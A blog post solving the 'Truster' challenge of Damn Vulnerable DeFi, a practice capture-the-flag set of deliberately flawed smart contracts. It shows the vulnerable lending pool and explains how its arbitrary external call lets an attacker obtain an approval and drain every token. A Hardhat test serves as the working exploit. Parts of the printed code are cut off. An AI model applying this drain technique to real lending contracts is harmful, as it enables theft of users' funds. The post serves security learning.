DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

Damn Vulnerable Defi: 3. Truster

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.

More and more lending pools are offering flash loans.
In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don't worry, you might be able to take them all from the pool. In a single transaction.

Objective of CTF:

  • Steal all ETH from the pool.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (
contract TrusterLenderPool is ReentrancyGuard {
  using Address for address;

  IERC20 public immutable damnValuableToken;

  constructor(address tokenAddress) {
    damnValuableToken = IERC20(tokenAddress);

  function flashLoan(
    uint256 borrowAmount,
    address borrower,
    address target,
    bytes calldata data
  ) external nonReentrant {
    uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
    require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

    damnValuableToken.transfer(borrower, borrowAmount);

    uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
    require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
Enter fullscreen mode Exit fullscreen mode

The Attack

The lender is making a very trustful function call to a target with the given calldata data. The call-data can be anything, such as transferring the tokens of Truster to us. However, that would fail to pay back the flash loan within the same transaction,

Instead, we can make it approve all of its tokens for us, by giving the token address as target and data as an approval function call. This way, we have access to all the tokens but have not withdrawn them yet. Once the flashLoan is done, we can take all the approved tokens.

Proof of Concept

The Hardhat test below demonstrates this attack.

describe('Damn Vulnerable Defi 3: Truster', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  let token: DamnValuableToken;
  let pool: TrusterLenderPool;

  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000');

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    token = await ethers.getContractFactory('DamnValuableToken', owner).then(f => f.deploy());
    pool = await ethers.getContractFactory('TrusterLenderPool', owner).then(f => f.deploy(token.address));

    await token.transfer(pool.address, TOKENS_IN_POOL);
    expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL); // pool has quite a lot of tokens
    expect(await token.balanceOf(attacker.address)).to.equal(0); // attacker has nothing

  it('should drain tokens from the pool', async () => {
    // get balance
    const balance = await token.balanceOf(pool.address);

    // make the flash loan function do approve tokens for us
    await pool
        token.interface.encodeFunctionData('approve', [attacker.address, balance])
    expect(await token.allowance(pool.address, attacker.address)).to.eq(balance);

    await token.connect(attacker).transferFrom(pool.address, attacker.address, balance);
    // NOTE: this attack could be done in a single transaction using a middleman contract too

  after(async () => {
    // attacker has taken all tokens from the pool
    expect(await token.balanceOf(attacker.address)).to.equal(TOKENS_IN_POOL);
    expect(await token.balanceOf(pool.address)).to.equal('0');
Enter fullscreen mode Exit fullscreen mode

Top comments (0)